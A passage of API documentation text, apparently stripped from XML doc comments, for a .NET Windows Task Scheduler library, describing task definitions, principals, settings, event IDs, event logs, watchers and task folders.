property name. + + + Gets the reason for the incompatibility. + The reason. + + + Defines all the components of a task, such as the task settings, triggers, actions, and registration information. + + + Gets a collection of actions that are performed by the task. + + + + Gets or sets the data that is associated with the task. This data is ignored by the Task Scheduler service, but is used by third-parties who wish to + extend the task format. + + + For V1 tasks, this library makes special use of the SetWorkItemData and GetWorkItemData methods and does not expose that data stream directly. + Instead, it uses that data stream to hold a dictionary of properties that are not supported under V1, but can have values under V2. An example of + this is the value which is stored in the data stream. + + The library does not provide direct access to the V1 work item data. If using V2 properties with a V1 task, programmatic access to the task using the + native API will retrieve unreadable results from GetWorkItemData and will eliminate those property values if SetWorkItemData is used. + + + + + Gets the lowest supported version that supports the settings for this . + + + Gets a collection of triggers that are used to start a task. + + + Gets or sets the XML-formatted definition of the task. + + + Gets the principal for the task that provides the security credentials for the task. + + + + Gets a class instance of registration information that is used to describe a task, such as the description of the task, the author of the task, and + the date the task is registered. + + + + Gets the settings that define how the Task Scheduler service performs the task. + + + Gets the XML Schema file for V1 tasks. + The for V1 tasks. + An object containing the XML Schema for V1 tasks. + + + Determines whether this can use the Unified Scheduling Engine or if it contains unsupported properties. + + if set to true throws an with details about unsupported properties in the Data property of the exception. + + + true if this can use the Unified Scheduling Engine; otherwise, false. + + + Releases all resources used by this class. + + + Validates the current . + if set to true throw a with details about invalid properties. + true if current is valid; false if not. + + + Gets the lowest supported version. + The output list. + + + + + Provides the security credentials for a principal. These security credentials define the security context for the tasks that are associated with the principal. + + + + Gets the account associated with this principal. This value is pulled from the TaskDefinition's XMLText property if set. + The account. + + + Gets or sets the name of the principal that is displayed in the Task Scheduler UI. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the identifier of the user group that is required to run the tasks that are associated with the principal. Setting this property to + something other than a null or empty string, will set the property to NULL and will set the property to TaskLogonType.Group; + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier of the principal. + Not supported under Task Scheduler 1.0. + + + Gets or sets the security logon method that is required to run the tasks that are associated with the principal. + TaskLogonType values of Group, None, or S4UNot are not supported under Task Scheduler 1.0. + + + Gets or sets the task process security identifier (SID) type. + One of the enumeration constants. + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + Not supported under Task Scheduler versions prior to 2.1. + + + + Gets the security credentials for a principal. These security credentials define the security context for the tasks that are associated with the principal. + + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + + + + Gets or sets the identifier that is used to specify the privilege level that is required to run the tasks that are associated with the principal. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets the user identifier that is required to run the tasks that are associated with the principal. Setting this property to something other + than a null or empty string, will set the property to NULL; + + + + Validates the supplied account against the supplied . + The user or group account name. + The SID type for the process. + true if supplied account can be used for the supplied SID type. + + + Releases all resources used by this class. + + + Gets a value indicating whether current Principal settings require a password to be provided. + true if settings requires a password to be provided; otherwise, false. + + + Returns a that represents this instance. + A that represents this instance. + + + + List of security credentials for a principal under version 1.3 of the Task Scheduler. These security credentials define the security context for the + tasks that are associated with the principal. + + + + Gets the number of elements contained in the . + The number of elements contained in the . + + + Gets a value indicating whether the is read-only. + true if the is read-only; otherwise, false. + + + Gets or sets the element at the specified index. + The element at the specified index. + is not a valid index in the . + The property is set and the is read-only. + + + Adds an item to the . + The object to add to the . + The is read-only. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Copies to. + The array. + Index of the array. + + + Returns an enumerator that iterates through the collection. + A that can be used to iterate through the collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Removes all items from the . + The is read-only. + + + Inserts an item to the at the specified index. + The zero-based index at which should be inserted. + The object to insert into the . + is not a valid index in the . + The is read-only. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This + method also returns false if is not found in the original . + + The is read-only. + + + Removes the item at the specified index. + The zero-based index of the item to remove. + is not a valid index in the . + The is read-only. + + + Enumerates the privileges set for a principal under version 1.3 of the Task Scheduler. + + + Gets the element in the collection at the current position of the enumerator. + The element in the collection at the current position of the enumerator. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Advances the enumerator to the next element of the collection. + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + The collection was modified after the enumerator was created. + + + Sets the enumerator to its initial position, which is before the first element in the collection. + The collection was modified after the enumerator was created. + + + + Provides the administrative information that can be used to describe the task. This information includes details such as a description of the task, the + author of the task, the date the task is registered, and the security descriptor of the task. + + + + Gets or sets the author of the task. + + + Gets or sets the date and time when the task is registered. + + + Gets or sets the description of the task. + + + Gets or sets any additional documentation for the task. + + + Gets or sets the security descriptor of the task. + The security descriptor. + + + Gets or sets the security descriptor of the task. + Not supported under Task Scheduler 1.0. + + + Gets or sets where the task originated from. For example, a task may originate from a component, service, application, or user. + + + Gets or sets the URI of the task. + + Note: Breaking change in version 2.0. This property was previously of type . It was found that in Windows 8, many of the + native tasks use this property in a string format rather than in a URI format. + + + + Gets or sets the version number of the task. + + + Gets or sets an XML-formatted version of the registration information for the task. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Provides the settings that the Task Scheduler service uses to perform the task. + + + Gets or sets a Boolean value that indicates that the task can be started by using either the Run command or the Context menu. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task may be terminated by using TerminateProcess. + Not supported under Task Scheduler 1.0. + + + Gets or sets an integer value that indicates which version of Task Scheduler a task is compatible with. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. If no value is specified for this + property, then the Task Scheduler service will not delete the task. + + + Gets and sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. A TimeSpan value of 1 second indicates + the task is set to delete when done. A value of TimeSpan.Zero indicates that the task should not be deleted. + + + A task expires after the end boundary has been exceeded for all triggers associated with the task. The end boundary for a trigger is specified by the + EndBoundary property of all trigger types. + + + + Gets or sets a Boolean value that indicates that the task will not be started if the computer is running on battery power. + + + + Gets or sets a Boolean value that indicates that the task will not be started if the task is triggered to run in a Remote Applications Integrated + Locally (RAIL) session. + + Property set for a task on a Task Scheduler version prior to 2.1. + + + Gets or sets a Boolean value that indicates that the task is enabled. The task can be performed only when this setting is TRUE. + + + + Gets or sets the amount of time that is allowed to complete the task. By default, a task will be stopped 72 hours after it starts to run. + + + The amount of time that is allowed to complete the task. When this parameter is set to , the execution time limit is infinite. + + + If a task is started on demand, the ExecutionTimeLimit setting is bypassed. Therefore, a task that is started on demand will not be terminated if it + exceeds the ExecutionTimeLimit. + + + + Gets or sets a Boolean value that indicates that the task will not be visible in the UI by default. + + + Gets or sets the information that the Task Scheduler uses during Automatic maintenance. + + + Gets or sets the policy that defines how the Task Scheduler handles multiple instances of the task. + Not supported under Task Scheduler 1.0. + + + Gets or sets the priority level of the task. + The priority. + Value set to AboveNormal or BelowNormal on Task Scheduler 1.0. + + + Gets or sets the number of times that the Task Scheduler will attempt to restart the task. + + The number of times that the Task Scheduler will attempt to restart the task. If this property is set, the property + must also be set. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that specifies how long the Task Scheduler will attempt to restart the task. + + A value that specifies how long the Task Scheduler will attempt to restart the task. If this property is set, the property + must also be set. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the user is logged on (v1.0 only) + Property set for a task on a Task Scheduler version other than 1.0. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only when a network is available. + + + Gets or sets a Boolean value that indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task will be stopped if the computer switches to battery power. + + + Gets or sets a Boolean value that indicates that the Unified Scheduling Engine will be utilized to run this task. + Property set for a task on a Task Scheduler version prior to 2.1. + + + Gets or sets a boolean value that indicates whether the task is automatically disabled every time Windows starts. + Property set for a task on a Task Scheduler version prior to 2.2. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will wake the computer when it is time to run the task. + + + Gets or sets an XML-formatted definition of the task settings. + + + Gets or sets the information that specifies how the Task Scheduler performs tasks when the computer is in an idle state. + + + + Gets or sets the network settings object that contains a network profile identifier and name. If the RunOnlyIfNetworkAvailable property of + ITaskSettings is true and a network profile is specified in the NetworkSettings property, then the task will run only if the specified network + profile is available. + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + + Contains all the tasks that are registered. + + Potentially breaking change in 1.6.2 and later where under V1 the list previously included the '.job' extension on the task name. This has been removed so that it is consistent with V2. + + + + Releases all resources used by this class. + + + + + Gets the collection enumerator for the register task collection. + + An for this collection. + + + + Internal constructor + + TaskService instance + The filter. + + + + Retrieves the current task. See for more information. + + + + + Releases all resources used by this class. + + + + + Moves to the next task. See MoveNext for more information. + + true if next task found, false if no more tasks. + + + + Reset task enumeration. See Reset for more information. + + + + + Gets the number of registered tasks in the collection. + + + + + Gets or sets the regular expression filter for task names. + + The regular expression filter. + + + + Gets the specified registered task from the collection. + + The index of the registered task to be retrieved. + A instance that contains the requested context. + + + + Gets the named registered task from the collection. + + The name of the registered task to be retrieved. + A instance that contains the requested context. + + + + Determines whether the specified task exists. + + The name of the task. + true if task exists; otherwise, false. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Collection of running tasks. + + + + + Releases all resources used by this class. + + + + + Gets an IEnumerator instance for this collection. + + An enumerator. + + + + Releases all resources used by this class. + + + + + Gets the number of registered tasks in the collection. + + + + + Gets the specified running task from the collection. + + The index of the running task to be retrieved. + A instance. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Changes to tasks and the engine that cause events. + + + + Task Scheduler started an instance of a task for a user. + For detailed information, see the documentation for Event ID 100 on TechNet. + + + Task Scheduler failed to start a task for a user. + For detailed information, see the documentation for Event ID 101 on TechNet. + + + Task Scheduler successfully finished an instance of a task for a user. + For detailed information, see the documentation for Event ID 102 on TechNet. + + + Task Scheduler failed to start an instance of a task for a user. + For detailed information, see the documentation for Event ID 103 on TechNet. + + + Task Scheduler failed to log on the user. + For detailed information, see the documentation for Event ID 104 on TechNet. + + + Task Scheduler failed to impersonate a user. + For detailed information, see the documentation for Event ID 105 on TechNet. + + + The a user registered the Task Scheduler a task. + For detailed information, see the documentation for Event ID 106 on TechNet. + + + Task Scheduler launched an instance of a task due to a time trigger. + For detailed information, see the documentation for Event ID 107 on TechNet. + + + Task Scheduler launched an instance of a task due to an event trigger. + For detailed information, see the documentation for Event ID 108 on TechNet. + + + Task Scheduler launched an instance of a task due to a registration trigger. + For detailed information, see the documentation for Event ID 109 on TechNet. + + + Task Scheduler launched an instance of a task for a user. + For detailed information, see the documentation for Event ID 110 on TechNet. + + + Task Scheduler terminated an instance of a task due to exceeding the time allocated for execution, as configured in the task definition. + For detailed information, see the documentation for Event ID 111 on TechNet. + + + Task Scheduler could not start a task because the network was unavailable. Ensure the computer is connected to the required network as specified in the task. + For detailed information, see the documentation for Event ID 112 on TechNet. + + + The Task Scheduler registered the a task, but not all the specified triggers will start the task. Ensure all the task triggers are valid. + For detailed information, see the documentation for Event ID 113 on TechNet. + + + Task Scheduler could not launch a task as scheduled. Instance is started now as required by the configuration option to start the task when available, if the scheduled time is missed. + For detailed information, see the documentation for Event ID 114 on TechNet. + + + Task Scheduler failed to roll back a transaction when updating or deleting a task. + For detailed information, see the documentation for Event ID 115 on TechNet. + + + Task Scheduler saved the configuration for a task, but the credentials used to run the task could not be stored. + For detailed information, see the documentation for Event ID 116 on TechNet. + + + Task Scheduler launched an instance of a task due to an idle condition. + For detailed information, see the documentation for Event ID 117 on TechNet. + + + Task Scheduler launched an instance of a task due to system startup. + For detailed information, see the documentation for Event ID 118 on TechNet. + + + Task Scheduler launched an instance of a task due to a user logon. + For detailed information, see the documentation for Event ID 119 on TechNet. + + + Task Scheduler launched an instance of a task due to a user connecting to the console. + For detailed information, see the documentation for Event ID 120 on TechNet. + + + Task Scheduler launched an instance of a task due to a user disconnecting from the console. + For detailed information, see the documentation for Event ID 121 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely connecting. + For detailed information, see the documentation for Event ID 122 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely disconnecting. + For detailed information, see the documentation for Event ID 123 on TechNet. + + + Task Scheduler launched an instance of a task due to a user locking the computer. + For detailed information, see the documentation for Event ID 124 on TechNet. + + + Task Scheduler launched an instance of a task due to a user unlocking the computer. + For detailed information, see the documentation for Event ID 125 on TechNet. + + + Task Scheduler failed to execute a task. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 126 on TechNet. + + + Task Scheduler failed to execute a task due to a shutdown race condition. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 127 on TechNet. + + + Task Scheduler did not launch a task because the current time exceeds the configured task end time. + For detailed information, see the documentation for Event ID 128 on TechNet. + + + Task Scheduler launched an instance of a task in a new process. + For detailed information, see the documentation for Event ID 129 on TechNet. + + + The Task Scheduler service failed to start a task due to the service being busy. + For detailed information, see the documentation for Event ID 130 on TechNet. + + + Task Scheduler failed to start a task because the number of tasks in the task queue exceeds the quota currently configured. + For detailed information, see the documentation for Event ID 131 on TechNet. + + + The Task Scheduler task launching queue quota is approaching its preset limit of tasks currently configured. + For detailed information, see the documentation for Event ID 132 on TechNet. + + + Task Scheduler failed to start a task in the task engine for a user. + For detailed information, see the documentation for Event ID 133 on TechNet. + + + Task Engine for a user is approaching its preset limit of tasks. + For detailed information, see the documentation for Event ID 134 on TechNet. + + + Task Scheduler did not launch a task because launch condition not met, machine not idle. + For detailed information, see the documentation for Event ID 135 on TechNet. + + + A user updated Task Scheduler a task + For detailed information, see the documentation for Event ID 140 on TechNet. + + + A user deleted Task Scheduler a task + For detailed information, see the documentation for Event ID 141 on TechNet. + + + A user disabled Task Scheduler a task + For detailed information, see the documentation for Event ID 142 on TechNet. + + + Task Scheduler woke up the computer to run a task. + For detailed information, see the documentation for Event ID 145 on TechNet. + + + Task Scheduler failed to subscribe the event trigger for a task. + For detailed information, see the documentation for Event ID 150 on TechNet. + + + Task Scheduler launched an action in an instance of a task. + For detailed information, see the documentation for Event ID 200 on TechNet. + + + Task Scheduler successfully completed a task instance and action. + For detailed information, see the documentation for Event ID 201 on TechNet. + + + Task Scheduler failed to complete an instance of a task with an action. + For detailed information, see the documentation for Event ID 202 on TechNet. + + + Task Scheduler failed to launch an action in a task instance. + For detailed information, see the documentation for Event ID 203 on TechNet. + + + Task Scheduler failed to retrieve the event triggering values for a task . The event will be ignored. + For detailed information, see the documentation for Event ID 204 on TechNet. + + + Task Scheduler failed to match the pattern of events for a task. The events will be ignored. + For detailed information, see the documentation for Event ID 205 on TechNet. + + + Task Scheduler is shutting down the a task engine. + For detailed information, see the documentation for Event ID 301 on TechNet. + + + Task Scheduler is shutting down the a task engine due to an error. + For detailed information, see the documentation for Event ID 303 on TechNet. + + + Task Scheduler sent a task to a task engine. + For detailed information, see the documentation for Event ID 304 on TechNet. + + + Task Scheduler did not send a task to a task engine. + For detailed information, see the documentation for Event ID 305 on TechNet. + + + For a Task Scheduler task engine, the thread pool failed to process the message. + For detailed information, see the documentation for Event ID 306 on TechNet. + + + The Task Scheduler service failed to connect to a task engine process. + For detailed information, see the documentation for Event ID 307 on TechNet. + + + Task Scheduler connected to a task engine process. + For detailed information, see the documentation for Event ID 308 on TechNet. + + + There are Task Scheduler tasks orphaned during a task engine shutdown. + For detailed information, see the documentation for Event ID 309 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 310 on TechNet. + + + Task Scheduler failed to start a task engine process due to an error. + For detailed information, see the documentation for Event ID 311 on TechNet. + + + Task Scheduler created the Win32 job object for a task engine. + For detailed information, see the documentation for Event ID 312 on TechNet. + + + The Task Scheduler channel is ready to send and receive messages. + For detailed information, see the documentation for Event ID 313 on TechNet. + + + Task Scheduler has no tasks running for a task engine, and the idle timer has started. + For detailed information, see the documentation for Event ID 314 on TechNet. + + + A task engine process failed to connect to the Task Scheduler service. + For detailed information, see the documentation for Event ID 315 on TechNet. + + + A task engine failed to send a message to the Task Scheduler service. + For detailed information, see the documentation for Event ID 316 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 317 on TechNet. + + + Task Scheduler shut down a task engine process. + For detailed information, see the documentation for Event ID 318 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to launch a task. + For detailed information, see the documentation for Event ID 319 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to stop a task instance. + For detailed information, see the documentation for Event ID 320 on TechNet. + + + Task Scheduler did not launch a task because an instance of the same task is already running. + For detailed information, see the documentation for Event ID 322 on TechNet. + + + Task Scheduler stopped an instance of a task in order to launch a new instance. + For detailed information, see the documentation for Event ID 323 on TechNet. + + + Task Scheduler queued an instance of a task and will launch it as soon as another instance completes. + For detailed information, see the documentation for Event ID 324 on TechNet. + + + Task Scheduler queued an instance of a task that will launch immediately. + For detailed information, see the documentation for Event ID 325 on TechNet. + + + Task Scheduler did not launch a task because the computer is running on batteries. If launching the task on batteries is required, change the respective flag in the task configuration. + For detailed information, see the documentation for Event ID 326 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is switching to battery power. + For detailed information, see the documentation for Event ID 327 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is no longer idle. + For detailed information, see the documentation for Event ID 328 on TechNet. + + + Task Scheduler stopped an instance of a task because the task timed out. + For detailed information, see the documentation for Event ID 329 on TechNet. + + + Task Scheduler stopped an instance of a task as request by a user . + For detailed information, see the documentation for Event ID 330 on TechNet. + + + Task Scheduler will continue to execute an instance of a task even after the designated timeout, due to a failure to create the timeout mechanism. + For detailed information, see the documentation for Event ID 331 on TechNet. + + + Task Scheduler did not launch a task because a user was not logged on when the launching conditions were met. Ensure the user is logged on or change the task definition to allow the task to launch when the user is logged off. + For detailed information, see the documentation for Event ID 332 on TechNet. + + + The Task Scheduler service has started. + For detailed information, see the documentation for Event ID 400 on TechNet. + + + The Task Scheduler service failed to start due to an error. + For detailed information, see the documentation for Event ID 401 on TechNet. + + + Task Scheduler service is shutting down. + For detailed information, see the documentation for Event ID 402 on TechNet. + + + The Task Scheduler service has encountered an error. + For detailed information, see the documentation for Event ID 403 on TechNet. + + + The Task Scheduler service has encountered an RPC initialization error. + For detailed information, see the documentation for Event ID 404 on TechNet. + + + The Task Scheduler service has failed to initialize COM. + For detailed information, see the documentation for Event ID 405 on TechNet. + + + The Task Scheduler service failed to initialize the credentials store. + For detailed information, see the documentation for Event ID 406 on TechNet. + + + Task Scheduler service failed to initialize LSA. + For detailed information, see the documentation for Event ID 407 on TechNet. + + + Task Scheduler service failed to initialize idle state detection module. Idle tasks may not be started as required. + For detailed information, see the documentation for Event ID 408 on TechNet. + + + The Task Scheduler service failed to initialize a time change notification. System time updates may not be picked by the service and task schedules may not be updated. + For detailed information, see the documentation for Event ID 409 on TechNet. + + + Task Scheduler service received a time system change notification. + For detailed information, see the documentation for Event ID 411 on TechNet. + + + Task Scheduler service failed to launch tasks triggered by computer startup. Restart the Task Scheduler service. + For detailed information, see the documentation for Event ID 412 on TechNet. + + + Task Scheduler service started Task Compatibility module. + For detailed information, see the documentation for Event ID 700 on TechNet. + + + Task Scheduler service failed to start Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 701 on TechNet. + + + Task Scheduler failed to initialize the RPC server for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 702 on TechNet. + + + Task Scheduler failed to initialize Net Schedule API for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 703 on TechNet. + + + Task Scheduler failed to initialize LSA for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 704 on TechNet. + + + Task Scheduler failed to start directory monitoring for the Task Compatibility module. + For detailed information, see the documentation for Event ID 705 on TechNet. + + + Task Compatibility module failed to update a task to the required status. + For detailed information, see the documentation for Event ID 706 on TechNet. + + + Task Compatibility module failed to delete a task. + For detailed information, see the documentation for Event ID 707 on TechNet. + + + Task Compatibility module failed to set a security descriptor for a task. + For detailed information, see the documentation for Event ID 708 on TechNet. + + + Task Compatibility module failed to update a task. + For detailed information, see the documentation for Event ID 709 on TechNet. + + + Task Compatibility module failed to upgrade existing tasks. Upgrade will be attempted again next time 'Task Scheduler' service starts. + For detailed information, see the documentation for Event ID 710 on TechNet. + + + Task Compatibility module failed to upgrade NetSchedule account. + For detailed information, see the documentation for Event ID 711 on TechNet. + + + Task Compatibility module failed to read existing store to upgrade tasks. + For detailed information, see the documentation for Event ID 712 on TechNet. + + + Task Compatibility module failed to load a task for upgrade. + For detailed information, see the documentation for Event ID 713 on TechNet. + + + Task Compatibility module failed to register a task for upgrade. + For detailed information, see the documentation for Event ID 714 on TechNet. + + + Task Compatibility module failed to delete LSA store for upgrade. + For detailed information, see the documentation for Event ID 715 on TechNet. + + + Task Compatibility module failed to upgrade existing scheduled tasks. + For detailed information, see the documentation for Event ID 716 on TechNet. + + + Task Compatibility module failed to determine if upgrade is needed. + For detailed information, see the documentation for Event ID 717 on TechNet. + + + Task scheduler was unable to upgrade the credential store from the Beta 2 version. You may need to re-register any tasks that require passwords. + For detailed information, see the documentation for Event ID 718 on TechNet. + + + A unknown value. + + + + Historical event information for a task. This class wraps and extends the class. + + + For events on systems prior to Windows Vista, this class will only have information for the TaskPath, TimeCreated and EventId properties. + + + + + Gets the activity id. This value is null for V1 events. + + + + + An indexer that gets the value of each of the data item values. This value is null for V1 events. + + + The data values. + + + + + Gets the event id. + + + + + Gets the underlying . This value is null for V1 events. + + + + + Gets the from the . + + + The . If not found, returns . + + + + + Gets the level. This value is null for V1 events. + + + + + Gets the op code. This value is null for V1 events. + + + + + Gets the process id. This value is null for V1 events. + + + + + Gets the record id. This value is null for V1 events. + + + + + Gets the task category. This value is null for V1 events. + + + + + Gets the task path. + + + + + Gets the time created. + + + + + Gets the user id. This value is null for V1 events. + + + + + Gets the version. This value is null for V1 events. + + + + + Gets the data value from the task specific event data item list. + + The name of the data element. + Contents of the requested data element if found. null if no value found. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the other parameter.Zero This object is equal to other. Greater than zero This object is greater than other. + + + + + Get indexer class for data values. + + + + + Gets the value of the specified property name. + + + The value. + + Name of the property. + Value of the specified property name. null if property does not exist. + + + + An enumerator over a task's history of events. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + + + Advances the enumerator to the next element of the collection. + + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + + The collection was modified after the enumerator was created. + + + + + Sets the enumerator to its initial position, which is before the first element in the collection. + + + The collection was modified after the enumerator was created. + + + + + Seeks the specified bookmark. + + The bookmark. + The offset. + + + + Seeks the specified origin. + + The origin. + The offset. + + + + Historical event log for a task. Only available for Windows Vista and Windows Server 2008 and later systems. + + Many applications have the need to audit the execution of the tasks they supply. To enable this, the library provides the TaskEventLog class that allows for TaskEvent instances to be enumerated. This can be done for single tasks or the entire system. It can also be filtered by specific events or criticality. + + + + + Initializes a new instance of the class. + + The task path. This can be retrieved using the property. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class. + + Name of the machine. + The task path. This can be retrieved using the property. + The domain. + The user. + The password. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class that looks at all task events from a specified time. + + The start time. + Name of the task. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The levels. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Gets the total number of events for this task. + + + + + Gets or sets a value indicating whether this is enabled. + + + true if enabled; otherwise, false. + + + + + Gets or sets a value indicating whether to enumerate in reverse when calling the default enumerator (typically with foreach statement). + + + true if enumerates in reverse (newest to oldest) by default; otherwise, false to enumerate oldest to newest. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through the collection. + + if set to true reverse. + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through a collection. + + + An object that can be used to iterate through the collection. + + + + + Information about the task event. + + + + + If possible, gets the task associated with this event. + + + The task or null if unable to retrieve. + + + + + Gets the . + + + The TaskEvent. + + + + + Gets the task name. + + + The task name. + + + + + Gets the task path. + + + The task path. + + + + + Watches system events related to tasks and issues a event when the filtered conditions are met. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + Sometimes, a developer will need to know about events as they occur. In this case, they can use the TaskEventWatcher component that enables the developer to watch a task, a folder, or the entire system for filtered events. + + Below is information on how to watch a folder for all task events. For a complete example, look at this sample project: TestTaskWatcher.zip + + + + + Initializes a new instance of the class. If other + properties are not set, this will watch for all events for all tasks on the local machine. + + + + + Initializes a new instance of the class watching only + those events for the task with the provided path on the local machine. + + The full path (folders and name) of the task to watch. + The task service. + $Invalid task name: {taskPath} + + + + Initializes a new instance of the class watching only + those events for the specified task. + + The task to watch. + Occurs if the is null. + + + + Initializes a new instance of the class watching only those events for + the tasks whose name matches the in the specified + and optionally all subfolders. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + Occurs if the is null. + + + + Initializes a new instance of the class. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The task service. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Occurs when a task or the task engine records an event. + + + + + Gets or sets a value indicating whether the component is enabled. + + + true if enabled; otherwise, false. + + + + + Gets the filter for this . + + + The filter. + + + + + Gets or sets the folder to watch. + + + The folder path to watch. This value should include the leading "\" to indicate the root folder. + + Thrown if the folder specified does not exist or contains invalid characters. + + + + Gets or sets a value indicating whether to include events from subfolders when the + property is set. If the property is set, + this property is ignored. + + true if include events from subfolders; otherwise, false. + + + + Gets or sets the synchronizing object. + + + The synchronizing object. + + + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + + + Gets or sets the instance associated with this event watcher. Setting this value + will override any values set for , , + , and and set them to those values in the supplied + instance. + + The TaskService. + + + + Gets or sets the user account domain to be used when connecting to the . + + The user account domain. + + + + Gets or sets the user name to be used when connecting to the . + + The user name. + + + + Gets or sets the user password to be used when connecting to the . + + The user password. + + + + Gets a value indicating if watching is available. + + + + + Signals the object that initialization is starting. + + + + + Signals the object that initialization is complete. + + + + + Releases the unmanaged resources used by the FileSystemWatcher and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Fires the event. + + The sender. + The instance containing the event data. + + + + Holds filter information for a . + + + + + Gets or sets an optional array of event identifiers to use when filtering those events that will fire a event. + + + The array of event identifier filters. All know task event identifiers are declared in the enumeration. + + + + + Gets or sets an optional array of event levels to use when filtering those events that will fire a event. + + + The array of event levels. While event providers can define custom levels, most will use integers defined in the System.Diagnostics.Eventing.Reader.StandardEventLevel enumeration. + + + + + Gets or sets the task name, which can utilize wildcards, to look for when watching a folder. + + A task name or wildcard. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Provides the methods that are used to register (create) tasks in the folder, remove tasks from the folder, and create or remove subfolders from the folder. + + + + + Releases all resources used by this class. + + + + + Gets a which enumerates all the tasks in this and all subfolders. + + + A for all instances. + + + + + Gets the name that is used to identify the folder that contains a task. + + + + + Gets the parent folder of this folder. + + + The parent folder, or null if this folder is the root folder. + + + + + Gets the path to where the folder is stored. + + + + + Gets or sets the security descriptor of the task. + + The security descriptor. + + + + Gets all the subfolders in the folder. + + + + + Gets a collection of all the tasks in the folder. + + + + + Gets or sets the that manages this task. + + The task service. + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A value that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the parameter.Zero This object is equal to . Greater than zero This object is greater than . + + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and 